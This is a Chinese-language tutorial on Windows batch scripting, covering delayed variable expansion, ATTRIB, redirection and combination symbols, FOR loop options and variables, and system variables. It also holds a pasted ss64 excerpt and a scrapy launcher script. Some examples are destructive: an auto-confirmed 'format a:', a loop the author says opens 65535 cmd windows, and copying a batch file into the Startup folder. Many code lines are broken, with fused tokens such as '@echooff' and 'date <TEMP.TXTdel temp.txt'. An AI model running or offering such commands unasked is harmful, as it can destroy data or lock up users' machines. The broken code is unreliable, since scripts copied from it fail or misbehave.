(由于啟動了變量延遲,是以批處理能夠感覺到動态變化,即不是先給該行變量指派,
而是在運作過程中給變量指派,是以此時a的值就是5了)。
再舉一個例子鞏固一下。
例3:
@echo off
setlocal enabledelayedexpansion
for /l %%i in (1,1,5) do (
set a=%%i
echo !a!
)
pause
結果:
1
2
3
4
5
解說:本例開啟了變量延遲并用“!!”将變量擴起來,是以得到我們預期的結果。如果不用變量延遲會出現什
麼結果呢?結果是這樣的:
ECHO 處于關閉狀态。
ECHO 處于關閉狀态。
ECHO 處于關閉狀态。
ECHO 處于關閉狀态。
ECHO 處于關閉狀态。
即沒有感覺到for語句中的動态變化。
提示:在沒有開啟變量延遲的情況下,某條指令行中的變量改變,必須到下一條指令才能展現。這一點也可以加以利用,看例子。
例:交換兩個變量的值,且不用中間變量
@echo off
::目的:交換兩個變量的值,但是不使用臨時變量
::Code by JM 2007-1-24 [url=mailto:CMD@XP]CMD@XP[/url]
::出處:http://www.cn-dos.net/forum/viewthread.php?tid=27078
set var1=abc
set var2=123
echo 交換前: var1=%var1% var2=%var2%
set var1=%var2% set var2=%var1%
echo 交換後: var1=%var1% var2=%var2%
pause
17、ATTRIB顯示或更改檔案屬性
ATTRIB [+R|-R] [+A|-A] [+S|-S] [+H|-H] [[drive:] [path] filename] [/S [/D]]
+ 設定屬性。
- 清除屬性。
R 隻讀檔案屬性。
A 存檔檔案屬性。
S 系統檔案屬性。
H 隐藏檔案屬性。
[drive:][path][filename] 指定要處理的檔案屬性。
/S 處理目前檔案夾及其子檔案夾中的比對檔案。
/D 也處理檔案夾。
例:
md autorun
attrib +a +s +h autorun
上面的指令将建立檔案夾 autorun,然後将其設為存檔、系統、隐藏屬性
第二節 常用特殊符号
1、@指令行回顯屏蔽符
2、%批處理變量引導符
3、> 重定向符
4、>>重定向符
5、<、>、<& 重定向符
6、|指令管道符
7、^轉義字元
8、組合指令
9、& 組合指令
10、||組合指令
11、\"\"字元串界定符
12、, 逗号
13、; 分号
14、() 括号
15、! 感歎号
批進行中可能會見到的其它特殊标記符: (略)
CR(0D) 指令行結束符
Escape(1B) ANSI轉義字元引導符
Space(20) 常用的參數界定符
Tab(09) ; = 不常用的參數界定符
+ COPY指令檔案連接配接符
* ? 檔案通配符
/ 參數開關引導符
: 批處理标簽引導符
廢話少說,開講了
1、@ 指令 : 行回顯屏蔽符
這個字元在批進行中的意思是關閉目前行的回顯。我們從前幾課知道
ECHO OFF可以關閉掉整個批處理指令的回顯,但不能關掉ECHO OFF這個指令,
現在我們在ECHO OFF這個指令前加個@,就可以達到所有指令均不回顯的要求
2、% :批處理變量引導符
這個百分号嚴格來說是算不上指令的,它隻是批進行中的參數而已(多個%一起使用的情況除外,以後還将詳細介紹)。
引用變量用 %var%,調用程式外部參數用 %1 至 %9 等等
%0、%1、%2、%3、%4、%5、%6、%7、%8、%9、%* 為指令行傳遞給批處理的參數
%0 批處理檔案本身,包括完整的路徑和擴充名
%1 第一個參數
%9 第九個參數
%* 從第一個參數開始的所有參數
參數 %0 具有特殊的功能,可以調用批處理自身,以達到批處理本身循環的目的,也可以複制檔案自身等等。
例:最簡單的複制檔案自身的方法
copy %0 d:\\wind.bat
小技巧:添加行内注釋
%注釋内容%(可以用作行内注釋,不能出現重定向符号和管道符号)
為什麼這樣呢?此時“注釋内容”其實被當作變量,其值是空的,故隻起注釋作用。
不過這種用法容易出現文法錯誤,一般不用。
3、> :重定向符
輸出重定向指令。
這個字元的意思是傳遞并且覆寫,他所起的作用是将運作的結果傳遞到後面的範圍
(後邊可以是檔案,也可以是預設的系統控制台)
在NT系列指令行中,重定向的作用範圍由整個指令行轉變為單個指令語句,受到了指令分隔符,&&,||和語句塊的制約限制。
比如:
使用指令:echo hello >1.txt将建立檔案1.txt,内容為”hello “(注意行尾有一空格)
使用指令:echo hello>1.txt将建立檔案1.txt,内容為”hello“(注意行尾沒有空格)
4、>> :重定向符
輸出重定向指令
這個符号的作用和>有點類似,但他們的差別是>>是傳遞并在檔案的末尾追加,而>是覆寫
用法同上
同樣拿 1.txt 做例子
使用指令:
echo hello > 1.txt
echo world >>1.txt
這時候1.txt 内容如下:
hello
world
5、<、>、<& :重定向符
這三個指令也是管道指令,但它們一般不常用,你隻需要知道一下就ok了。
<,輸入重定向指令,從檔案中讀入指令輸入,而不是從鍵盤中讀入。
@echo off
echo 2005-05-01>temp.txt
date <TEMP.TXTdel temp.txt
這樣就可以不等待輸入直接修改目前日期
>,将一個句柄的輸出寫入到另一個句柄的輸入中。
<,剛好和>&相反,從一個句柄讀取輸入并将其寫入到另一個句柄輸出中。
常用句柄:0、1、2,未定義句柄:3—9
1>nul 表示禁止輸出正确的資訊
2>nul 表示禁止輸出錯誤資訊。
其中的1與2都是代表某個資料流輸入輸出的位址(NT CMD 稱之為句柄,MSDOS稱之為裝置)。
句柄0:标準輸入stdin,鍵盤輸入
句柄1:标準輸出stdout,輸出到指令提示符視窗(console,代碼為CON)
句柄2:标準錯誤stderr,輸出到指令提示符視窗(console,代碼為CON)
其中的stdin可被<重定向,stdout可被>、>>重定向。
我們已經知道讀取文本中的内容可以用for指令,但如果隻需要讀取第一行用for指令就有點麻煩。簡單的辦法如下:
@echo off
set /p str=<%0
echo %str%
pause
運作顯示批處理檔案自身的第一行:@echo off
6、| 指令 :管道符
格式:第一條指令 | 第二條指令 [| 第三條指令...]
将第一條指令的結果作為第二條指令的參數來使用,記得在unix中這種方式很常見。
例如:
dir c:\\|find \"txt\"
以上指令是:查找C:\\所有,并發現TXT字元串。
FIND的功能請用 FIND /? 自行檢視
在不使format的自動格式化參數時,我是這樣來自動格式化A盤的
echo y|format a: /s /q /v:system
用過format的都知道,再格盤時要輸入y來确認是否格盤,這個指令前加上echo y并用|字元來将echo y的結果傳給format指令
進而達到自動輸入y的目的
(這條指令有危害性,測試時請慎重)
7、^ :轉義字元
^ 是對特殊符号<,>,的前導字元,在指令中他将以上3個符号的特殊功能去掉,僅僅隻把他們當成符号而不使用他們的特殊意義。
比如
echo test ^>1.txt
結果則是:test > 1.txt
他沒有追加在1.txt裡,呵呵。隻是顯示了出來
另外,此轉義字元還可以用作續行符号。
舉個簡單的例子:
@echo off
echo 英雄^
是^
好^
男人
pause
不用多說,自己試一下就明白了。
為什麼轉義字元放在行尾可以起到續行符的作用呢?
原因很簡單,因為每行末尾還有一個看不見的符号,即回車符,轉義字元位于行尾時就讓回車符失效了,進而起到了續行的作用。
8、組合指令
文法:第一條指令 第二條指令 [& 第三條指令...]
、&&、||為組合指令,顧名思義,就是可以把多個指令組合起來當一個指令來執行。
這在批處理腳本裡是允許的,而且用的非常廣泛。因為批處理認行不認指令數目。
這個符号允許在一行中使用2個以上不同的指令,當第一個指令執行失敗了,也不影響後邊的指令執行。
這裡兩邊的指令是順序執行的,從前往後執行。
比如:
dir z:\\ dir y:\\ & dir c:\\
以上指令會連續顯示z,y,c盤的内容,不理會該盤是否存在
9、& :組合指令
文法:第一條指令 & 第二條指令 [&& 第三條指令...]
用這種方法可以同時執行多條指令,當碰到執行出錯的指令後将不執行後面的指令,如果一直沒有出錯則一直執行完所有指令
這個指令和上邊的類似,但差別是,第一個指令失敗時,後邊的指令也不會執行
dir z:\\ & dir y:\\ && dir c:\\
10、|| :組合指令
文法:第一條指令 || 第二條指令 [|| 第三條指令...]
用這種方法可以同時執行多條指令,當一條指令失敗後才執行第二條指令,當碰到執行正确的指令後将不執行後面的指令,
如果沒有出現正确的指令則一直執行完所有指令;
提示:組合指令和重定向指令一起使用必須注意優先級
管道指令的優先級高于重定向指令,重定向指令的優先級高于組合指令
問題:把C槽和D盤的檔案和檔案夾列出到a.txt檔案中。看例:
dir c:\\ & dir d:\\ > a.txt
這樣執行後a.txt裡隻有D盤的資訊!為什麼?因為組合指令的優先級沒有重定向指令的優先級高!
是以這句在執行時将本行分成這兩部分:dir c:\\和dir d:\\ > a.txt,而并不是如你想的這兩部分:dir c:\\ & dir d:\\和> a.txt。
要使用組合指令&&達到題目的要求,必須得這麼寫:dir c:\\ > a.txt & dir d:\\ >> a.txt
這樣,依據優先級高低,DOS将把這句話分成以下兩部分:dir c:\\ > a.txt和dir d:\\ >> a.txt。
例十八中的幾句的差别比較特殊,值得好好研究體會一下。
當然這裡還可以利用指令(自己想一下道理哦):
dir c:\\ > a.txt dir d:\\ >> a.txt
11、\"\" :字元串界定符
雙引号允許在字元串中包含空格,進入一個特殊目錄可以用如下方法
cd \"program files\"
cd progra~1
cd pro*
以上三種方法都可以進入program files這個目錄
12、, :逗号
逗号相當于空格,在某些情況下“,”可以用來當做空格使
比如
dir,c:\\
13、; :分号
分号,當指令相同時,可以将不同目标用;來隔離,但執行效果不變,如執行過程中發生錯誤,則隻傳回錯誤報告,但程式仍會執行。
(有人說不會繼續執行,其實測試一下就知道了)
比如:
dir c:\\;d:\\;e:\\;z:\\
以上指令相當于
dir c:\\
dir d:\\
dir e:\\
dir f:\\
如果其中z盤不存在,運作顯示:系統找不到指定的路徑。然後終止指令的執行。
例:dir c:\\;d:\\;e:\\1.txt
以上指令相當于
dir c:\\
dir d:\\
dir e:\\1.txt
其中檔案e:\\1.txt不存在,但e盤存在,有錯誤提示,但指令仍會執行。
為什麼?如果目标路徑不存在,則終止執行;如果路徑存在,僅檔案不存在,則繼續執行。
14、() :括号
小括号在批處理程式設計中有特殊的作用,左右括号必須成對使用,括号中可以包括多行指令,這些指令将被看成一個整體,視為一條指令行。
括号在for語句和if語句中常見,用來嵌套使用循環或條件語句,其實括号()也可以單獨使用,請看例子。
例:
指令:echo 1 echo 2 & echo 3
可以寫成:
(
echo 1
echo 2
echo 3
)
上面兩種寫法效果一樣,這兩種寫法都被視為是一條指令行。
注意:這種多條指令被視為一條指令行時,如果其中有變量,就涉及到變量延遲的問題。
15、! :感歎号
沒啥說的,在變量延遲問題中,用來表示變量,即%var%應該表示為!var!,請看前面的setlocal指令介紹。
第二章 FOR指令詳解
如果有什麼指令不懂,直接在CMD下面輸入:name /? 這樣的格式來看系統給出的幫助檔案,比如 for /? 就會把FOR指令的幫助全部顯示出來!當然許多菜鳥都看不懂....是以才會有那麼多批處理文章!!!!俺也照顧菜鳥,把FOR指令用我自己的方式說明下!
一、基本格式
FOR %%variable IN (set) DO command [command-parameters]
%%variable :指定 一個單一字母 表示可替換的參數。
(set) :指定一個或一組檔案。可以使用通配符。
command : 指定對每個檔案執行的指令。
command-parameters :為特定指令指定參數或指令行開關。
FOR 還有4個參數 /d 、/l、 /r、 /f
二、參數 /d僅為目錄
FOR /D %%variable IN (set) DO command [command-parameters]
如果集中包含通配符,則指定與目錄名比對,而不與檔案名比對。
如果 Set (也就是我上面寫的 \"相關檔案或指令\") 包含通配符(* 和 ?),
将對與 Set 相比對的每個目錄(而不是指定目錄中的檔案組)執行指定的 Command。
這個參數主要用于目錄搜尋,不會搜尋檔案,看這樣的例子
@echo off
for /d %%i in (c:\\*) do echo %%i
pause
運作會把C槽根目錄下的全部目錄名字列印出來,而檔案名字一個也不顯示!
在來一個,比如我們要把目前路徑下檔案夾的名字隻有1-3個字母的打出來
@echo off
for /d %%i in (???) do echo %%i
pause
這樣的話如果你目前目錄下有目錄名字隻有1-3個字母的,就會顯示出來,沒有就不顯示了
這裡解釋下*号和?号的作用,*号表示任意N個字元,而?号隻表示任意一個字元
知道作用了,給大家個思考題目!
@echo off
for /d %%i in (window?) do echo %%i
pause
儲存到C槽下執行,會顯示什麼呢?自己看吧! 顯示:windows
/D參數隻能顯示目前目錄下的目錄名字,這個大家要注意!
三、參數 /R遞歸(檔案名)
FOR /R [[drive:]path] %%variable IN (set) DO command [command-parameters]
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用目前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。
遞歸
上面我們知道,/D隻能顯示目前路徑下的目錄名字,那麼現在這個/R也是和目錄有關,他能幹嘛呢?放心他比/D強大多了!
他可以把目前或者你指定路徑下的檔案名字全部讀取,注意是檔案名字,有什麼用看例子!
請注意2點:
1、set中的檔案名如果含有通配符(?或*),則列舉/R參數指定的目錄及其下面的所用子目錄中與set相符合的所有檔案,
無相符檔案的目錄則不列舉。
2、相反,如果set中為具體檔案名,不含通配符,則枚舉該目錄樹(即列舉該目錄及其下面的所有子目錄),
而不set中的指定檔案是否存在。這與前面所說的單點(.)枚舉目錄樹是一個道理,單點代表目前目錄,也可視為一個檔案。
例:
@echo off
for /r c:\\ %%i in (*.exe) do echo %%i
pause
咱們把這個BAT儲存到D盤随便哪裡然後執行,我會就會看到,他把C槽根目錄,和每個目錄的子目錄下面全部的EXE檔案都列出來了!!!!
例:
@echo off
for /r %%i in (*.exe) do @echo %%i
pause
參數不一樣了吧!這個指令前面沒加那個C:\\也就是搜尋路徑,這樣他就會以目前目錄為搜尋路徑,比如你這個BAT你把他放在d:\\test目錄下執行,
那麼他就會把D:\\test目錄和他下面的子目錄的全部EXE檔案列出來!!!
例:
@echo off
for /r c:\\ %%i in (boot.ini) do echo %%i
pause
運作本例發現枚舉了c盤所有目錄,為了隻列舉boot.ini存在的目錄,可改成下面這樣:
@echo off
for /r c:\\ %%i in (boot.ini) do if exist %%i echo %%i
pause
用這條指令搜尋檔案真不錯。。。。。。
這個參數大家應該了解了吧!還是滿好玩的指令
四、參數 /L疊代數值範圍
FOR /L %variable IN (start,step,end) DO command[command-parameters]
該集表示以增量形式從開始到結束的一個數字序列。
是以, (1,1,5) 将産生序列 12345, (5,-1,1) 将産生序列 (54321)。
使用疊代變量設定起始值 (Start#), 然後逐漸執行一組範圍的值,直到該值超過所設定的終止值 (End#)。
/L 将通過對 Start# 與 End# 進行比較來執行疊代變量。
如果 Start# 小于 End#, 就會執行該指令。如果疊代變量超過 End#,則指令解釋程式退出此循環。
還可以使用負的Step# 以遞減數值的方式逐漸執行此範圍内的值。
例如, (1,1,5) 生成序列 12345,而(5,-1,1) 則生成序列 (54321)。
看着這說明有點暈吧!咱們看例子就不暈了!
@echooff
for /l %%i in (1,1,5) do @echo%%i
pause
儲存執行看效果,他會列印從12345 這樣5個數字
(1,1,5)這個參數也就是表示從1開始每次加1直到5終止!
看這個例子
@echooff
for /l %%i in (1,1,5) do start cmd
pause
執行後是不是吓了一跳,怎麼多了 5個 CMD視窗,呵呵!如果把那個 (1,1,5)改成 (1,1,65535)
會有什麼結果,我先告訴大家,會打開65535個CMD 視窗
....這麼多你不當機算你強!
當然我們也可以把那個start cmd改成 md %%i 這樣就會建立指定個目錄了!!!名字為1-65535
看完這個被我賦予破壞性質的參數後,我們來看最後一個參數
----------------------------------------------------------------------------------------------------------------------
資料來源: https://ss64.com/nt/cmd.html
在批處理檔案中使用以下内容:
start cmd.exe /k "more-batch-commands-here"
要麼
start cmd.exe /c "more-batch-commands-here"
/c執行由字元串指定的指令,然後終止
/k執行由字元串指定的指令,但保持不變
有關 cmd /? 更多詳細資訊,請參閱cmd.exe文檔。
指令字元串的正确格式化會使參數中的空格更複雜一些。
看下面的例子。請注意在一些示例中使用嵌套雙引号。
例子:
運作一個程式并傳遞一個檔案名參數: CMD /c write.exe c:\docs\sample.txt
運作一個程式并傳遞一個長檔案名: CMD /c write.exe "c:\sample documents\sample.txt"
程式路徑中的空間: CMD /c ""c:\Program Files\Microsoft Office\Office\Winword.exe""
程式路徑中的空間+參數: CMD /c ""c:\Program Files\demo.cmd"" Parameter1 Param2 CMD /k ""c:\batch files\demo.cmd" "Parameter 1 with space" "Parameter2 with space""
啟動demo1和demo2: CMD /c ""c:\Program Files\demo1.cmd" & "c:\Program Files\demo2.cmd""
for /L %%i in (1, 1, 10) do start cmd /k "cd e: && dir"
pause
輸入一個數字,然後進入最後一個盤符上的 PythonSpider/maoyan 目錄,然後執行 scrapy crawl mao_yan_base_time 指令
@echo off
FOR %%c in (Z,Y,X,W,V,U,T,S,R,Q,P,O,N,M,L,K,J,I,H,G,F,E,D,C) do (
IF exist %%c: (
set pan=%%c
GOTO :point
)
)
:point
::@echo on
set spider_path=PythonSpider/maoyan
::set /P loop=input spider number:
set/P loop=input spider number:
for /L %%i in (1, 1, %loop%) do start cmd /k "%pan%: && cd %spider_path% && scrapy crawl mao_yan_base_time"
pause
五、參數 /F疊代及檔案解析
\疊代及檔案解析
使用檔案解析來處理指令輸出、字元串及檔案内容。使用疊代變量定義要檢查的内容或字元串,并使用各種options選項進一步修改解析方式。
使用 options令牌選項指定哪些令牌應該作為疊代變量傳遞。請注意:在沒有使用令牌選項時, /F 将隻檢查第一個令牌。
檔案解析過程包括讀取輸出、字元串或檔案内容, 将其分成獨立的文本行以及再将每行解析成零個或更多個令牌。
然後通過設定為令牌的疊代變量值,調用 for 循環。預設情況下, /F 傳遞每個檔案每一行的第一個空白分隔符号。跳過空行。
詳細的幫助格式為:
FOR /F["options"]%variable IN(file-set)DOcommand [command-parameters]
FOR /F["options"]%variable IN("string") DO command[command-parameters]
FOR /F["options"]%variable IN('command')DO command[command-parameters]
帶引号的字元串"options"包括一個或多個指定不同解析選項的關鍵字。
這些關鍵字為:
eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在檔案開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的預設分隔符集。
tokens=x,y,m-n - 指每行的哪一個符号被傳遞到每個疊代的 for 本身。這會導緻額外變量名稱的配置設定。
m-n 格式為一個範圍。通過 nth 符号指定 mth。
如果符号字元串中的最後一個字元星号,那麼額外的變量将在最後一個符号解析之後配置設定并接受行的保留文本。
usebackq - 使用後引号(鍵盤上數字1左面的那個鍵`)。
未使用參數usebackq時: file-set表示檔案,但不能含有空格
雙引号表示字元串,即"string"
單引号表示執行指令,即'command'
使用參數usebackq時: file-set和"file-set"都表示檔案
當檔案路徑或名稱中有空格時,就可以用雙引号括起來
單引号表示字元串,即'string'
後引号表示指令執行,即`command`
以上是用for/?指令獲得的幫助資訊,直接複制過來的。
暈慘了!我這就舉個例子幫助大家來了解這些參數!
For指令例1:
****************************************
@echooff
rem 首先建立臨時檔案test.txt
echo;注釋行,這是臨時檔案,用完删除 >test.txt
echo11段 12段 13段 14段 15段 16段 >>test.txt
echo21段,22段,23段,24段,25段,26段 >>test.txt
echo31段-32段-33段-34段-35段-36段 >>test.txt
FOR /F"eol=; tokens=1,3*delims=,- " %%iin (test.txt)do echo%%i%%j%%k
Pause
Del test.txt
運作顯示結果:
11段 13段 14段 15段 16段
21段 23段 24段,25段,26段
31段 33段 34段-35段-36段
請按任意鍵繼續.. .
為什麼會這樣?我來解釋:
eol=; 分号開頭的行為注釋行
tokens=1,3* 将每行第1段,第 3段和剩餘字段分别賦予變量%%i, %%j, %%k
delims=,- (減号後有一空格)以逗号減号和空格為分隔符,空格必須放在最後
For指令例2:
****************************************
@echooff
FOR /F"eol= delims=" %%iin (test.txt)do echo%%i
Pause運作将顯示test.txt全部内容,包括注釋行,不解釋了哈。
For指令例3: ****************************************
另外/F參數還可以以輸出指令的結果看這個例子
@echooff
FOR/F"delims="%%iin ('netuser')do@echo%%i
pause
這樣你本機全部帳号名字就出來了把擴号内的内容用兩個單引号引起來就表示那個當指令執行,
FOR會傳回指令的每行結果,加那個"delims=" 是為了讓我空格的行能整行顯示出來,不加就隻顯示空格左邊一列!
基本上講完了FOR的基本用法了...如果你看過FOR的系統幫助,你會發現他下面還有一些特
定義的變量,這些我先不講.大家因該都累了吧!你不累
我累啊...
第三章 FOR指令中的變量
一、 ~I- 删除任何引号(\"),擴充 %I
二、 %~fI- 将 %I 擴充到一個完全合格的路徑名
三、 %~dI- 僅将 %I 擴充到一個驅動器号
四、 %~pI- 僅将 %I 擴充到一個路徑
五、 %~nI- 僅将 %I 擴充到一個檔案名
六、 %~xI- 僅将 %I 擴充到一個檔案擴充名
七、 %~sI- 擴充的路徑隻含有短名
八、 %~aI- 将 %I 擴充到檔案的檔案屬性
九、 %~tI- 将 %I 擴充到檔案的日期/時間
十、 %~zI- 将 %I 擴充到檔案的大小
十一、 %~$PATH:I
FOR指令中有一些變量,他們的用法許多新手朋友還不太了解,今天給大家講解他們的用法!
先把FOR的變量全部列出來:
~I - 删除任何引号("),擴充 %I
%~fI - 将 %I 擴充到一個完全合格的路徑名
%~dI - 僅将 %I 擴充到一個驅動器号
%~pI - 僅将 %I 擴充到一個路徑
%~nI - 僅将 %I 擴充到一個檔案名
%~xI - 僅将 %I 擴充到一個檔案擴充名
%~sI - 擴充的路徑隻含有短名
%~aI - 将 %I 擴充到檔案的檔案屬性
%~tI - 将 %I 擴充到檔案的日期/時間
%~zI - 将 %I 擴充到檔案的大小
%~$PA TH:I - 查找列在路徑環境變量的目錄,并将 %I 擴充到找到的第一個完全合格的名稱。
如果環境變量名未被定義,或者沒有找到檔案,此組合鍵會擴充到空字元串
我們可以看到每行都有一個大寫字母"I",這個 I其實就是我們在 FOR帶入的變量,
我們 FOR語句代入的變量名是什麼,這裡就寫什麼.
比如:FOR /F %%zIN ('set')DO@echo%%z
這裡我們代入的變量名是z那麼我們就要把那個 I改成z,例如%~fI改為%~fz至于前面的%~p這樣的内容就是文法了!
好開始講解:
一、 ~I - 删除任何引号("),擴充 %I
這個變量的作用就如他的說明,删除引号!
我們來看這個例子:
首先建立臨時檔案temp.txt,内容如下
"1111
"2222"
3333"
"4444"44
"55"55"55
可建立個BAT檔案代碼如下:
@echooff
echo^"1111>temp.txt
echo"2222">>temp.txt
echo3333^">>temp.txt
echo"4444"44>>temp.txt
echo^"55"55"55>>temp.txt
rem 上面建立臨時檔案,注意不成對的引号要加轉義字元^,重定向符号前不要留白格
FOR/F"delims="%%iIN(temp.txt)DO echo %%~i
pause
del temp.txt
執行後,我們看 CMD的回顯如下:
1111 #字元串前的引号被删除了
2222 #字元串首尾的引号都被删除了
3333" #字元串前無引号,後面的引号保留
4444"44 #字元串前面的引号删除了,而中間的引号保留
55"55"55 #字元串前面的引号删除了,而中間的引号保留
請按任意鍵繼續...
和之前 temp.txt中的内容對比一下,我們會發現第 1、 2、 5行的引号都消失了,這就是删除引号~i的作用了!
删除引号規則如下(BAT兄補充!)
1、若字元串首尾同時存在引号,則删除首尾的引号;
2、若字元串尾不存在引号,則删除字元串首的引号;
3、如果字元串中間存在引号,或者隻在尾部存在引号,則不删除。
龍卷風補充:無頭不删,有頭連尾删。
二、 %~fI - 将 %I 擴充到一個完全合格的路徑名看例子:
把代碼儲存放在随便哪個地方,我這裡就放桌面吧.
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~fi
pause
執行後顯示内容如下
C:\Documentsand Settings\Administrator\桌面\test.bat
C:\Documentsand Settings\Administrator\桌面\test.vbs
當我把代碼中的 %%~fi直接改成%%i
FOR/F"delims=="%%iIN('dir/b')DO@echo %%i
pause
執行後就會顯示以下内容:
test.bat
test.vbs
通過對比,我們很容易就看出沒有路徑了,這就是"将 %I 擴充到一個完全合格的路徑名"的作用
也就是如果%i變量的内容是一個檔案名的話,他就會把這個檔案所在的絕對路徑列印出來,
而不隻單單列印一個檔案名,自己動手動實驗下就知道了!
三、 %~dI - 僅将 %I 擴充到一個驅動器号
看例子:
代碼如下,我還是放到桌面執行!
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~di
pause
執行後我CMD 裡顯示如下
C:
C:
我桌面就兩個檔案 test.bat,test.vbs,%%~di作用是,如果變量%%i的内容是一個檔案或者目錄名,
他就會把他這檔案或者目錄所在的盤符号列印出來!
四、 %~pI - 僅将 %I 擴充到一個路徑
這個用法和上面一樣,他隻列印路徑不列印檔案名字
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~pi
pause
我就不打結果了,大家自己複制代碼看結果吧,下面幾個都是這麼個用法,代碼給出來,大家自己看結果吧!
五、 %~nI - 僅将 %I 擴充到一個檔案名隻列印檔案名字
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~ni
pause
六、 %~xI - 僅将 %I 擴充到一個檔案擴充名隻列印檔案的擴充名
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~xi
pause
七、 %~sI - 擴充的路徑隻含有短名列印絕對短檔案名
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~si
pause
八、 %~aI - 将 %I 擴充到檔案的檔案屬性列印檔案的屬性
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~ai
pause
九、 %~tI - 将 %I 擴充到檔案的日期/時間列印檔案建立的日期
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~ti
pause
十、 %~zI - 将 %I 擴充到檔案的大小列印檔案的大小
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~zi
pause
龍卷風補充:上面例子中的"delims=="可以改為"delims=",即不要分隔符
十一、 %~$PA TH:I - 查找列在路徑環境變量的目錄,并将 %I 擴充到找到的第一個完全合格的名稱。
如果環境變量名未被定義,或者沒有找到檔案,此組合鍵會擴充到空字元串這是最後一個,和上面那些都不一樣,我單獨說說!
然後在把這些代碼儲存為批處理,放在桌面。
@echooff
FOR/F"delims="%%iIN(“notepad.exe”) DOecho %%~$PA TH:i
pause
龍卷風補充:上面代碼顯示結果為C:\WINDOWS\system32\notepad.exe他的意思就在 PA TH變量裡指定的路徑裡搜尋 notepad.exe檔案,
如果有notepad.exe則會把他所在絕對路徑列印出來,沒有就列印一個錯誤!好了,FOR的的變量就介紹到這了
第四章 批進行中的變量
批進行中的變量分兩種:分别為 "系統變量" 和 "自定義變量"
一、系統變量
他們的值由系統将其根據事先定義的條件自動指派,也就是這些變量系統已經給他們定義了值,
不需要我們來給他指派,我們隻需要調用而以! 我把他們全部列出來!
%ALLUSERSPROFILE% 本地 傳回“ 所有使用者” 配置檔案的位置。
%APPDATA% 本地 傳回預設情況下應用程式存儲資料的位置。
%CD% 本地 傳回目前目錄字元串。
%CMDCMDLINE% 本地 傳回用來啟動目前的 Cmd.exe 的準确指令行。
%CMDEXTVERSION% 系統 傳回目前的“ 指令處理程式擴充” 的版本号。
%COMPUTERNAME% 系統 傳回計算機的名稱。
%COMSPEC% 系統 傳回指令行解釋器可執行程式的準确路徑。
%DATE% 系統 傳回目前日期。 使用與 date/t 指令相同的格式。由 Cmd.exe 生成。有關date 指令的詳細資訊,請參閱 Date。
%ERRORLEVEL% 系統 傳回上一條指令的錯誤代碼。通常用非零值表示錯誤。
%HOMEDRIVE% 系統 傳回連接配接到使用者主目錄的本地工作站驅動器号。基于主目錄值而設定。使用者主目錄是在“ 本地使用者群組” 中指定的。
%HOMEPA TH% 系統 傳回使用者主目錄的完整路徑。基于主目錄值而設定。使用者主目錄是在“ 本地使用者群組” 中指定的。
%HOMESHARE% 系統 傳回使用者的共享主目錄的網絡路徑。基于主目錄值而設定。使用者主目錄是在“ 本地使用者群組” 中指定的。
%LOGONSERVER% 本地 傳回驗證目前登入會話的域控制器的名稱。
%NUMBER_OF_PROCESSORS% 系統 指定安裝在計算機上的處理器的數目。
%OS% 系統 傳回作業系統名稱。 Windows2000 顯示其作業系統為 Windows_NT。
%PA TH% 系統 指定可執行檔案的搜尋路徑。%PA THEXT% 系統 傳回作業系統認為可執行的檔案擴充名的清單。
%PROCESSOR_ARCHITECTURE% 系統 傳回處理器的晶片體系結構。值: x86 或 IA64基于Itanium
%PROCESSOR_IDENTFIER% 系統 傳回處理器說明。
%PROCESSOR_LEVEL% 系統 傳回計算機上安裝的處理器的型号。
%PROCESSOR_REVISION% 系統 傳回處理器的版本号。
%PROMPT% 本地 傳回目前解釋程式的指令提示符設定。由 Cmd.exe 生成。
%RANDOM% 系統 傳回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。
%SYSTEMDRIVE% 系統 傳回包含 Windowsserver operating system 根目錄(即系統根目錄)的驅動器。
%SYSTEMROOT% 系統 傳回 Windowsserveroperating system 根目錄的位置。
%TEMP% 和 %TMP% 系統和使用者 傳回對目前登入使用者可用的應用程式所使用的預設臨時目錄。有些應用程式需要 TEMP,而其他應用程式則需要 TMP。
%TIME% 系統 傳回目前時間。使用與 time/t 指令相同的格式。由 Cmd.exe 生成。有關time 指令的詳細資訊,請參閱 Time。
%USERDOMAIN% 本地 傳回包含使用者帳戶的域的名稱。
%USERNAME% 本地 傳回目前登入的使用者的名稱。
%USERPROFILE% 本地 傳回目前使用者的配置檔案的位置。
%WINDIR% 系統 傳回作業系統目錄的位置。這麼多系統變量,我們如何知道他的值是什麼呢?
在CMD 裡輸入 echo%WINDIR%
這樣就能顯示一個變量的值了!
舉個實際例子,比如我們要複制檔案到目前帳号的啟動目錄裡就可以這樣
copyd:\1.bat "%USERPROFILE%\「開始」菜單\程式\啟動\"
%USERNAME% 本地 傳回目前登入的使用者的名稱。 注意有空格的目錄要用引号引起來
另外還有一些系統變量,他們是代表一個意思,或者一個操作!
他們分别是%0%1%2%3 %4%5......一直到%9 還有一個%*
%0 這個有點特殊,有幾層意思,先講%1-%9的意思.
%1 傳回批處理的第一個參數%2 傳回批處理的第二個參數
%3-%9依此推類
反回批處理參數?到底怎麼個傳回法?
我們看這個例子,把下面的代碼儲存為 test.BAT然後放到C槽下
@echooff
echo%1%2%3%4
echo%1
echo%2
echo%3
echo%4
進入CMD,輸入cdc:\
然後輸入 test.bat 我是第一個參數 我是第二個參數 我是第三個參數 我是第四個參數
注意中間的空格,我們會看到這樣的結果:
我是第一個參數 我是第二個參數 我是第三個參數 我是第四個參數
我是第一個參數
我是第二個參數
我是第三個參數
我是第四個參數
對比下代碼,%1就是” 我是第一個參數” %2就是” 我是第二個參數”
怎麼樣了解了吧!
這些%1和%9可以讓批處理也能帶參數運作,大大提高批處理功能!
還有一個%* 他是什麼呢?他的作用不是很大,隻是傳回參數而已,不過他是一次傳回全部參數的值,不用在輸入%1 %2來确定一個個的
例子
@echooff
echo%*
同樣儲存為test.bat 放到C槽
進入CMD,輸入cdc:\
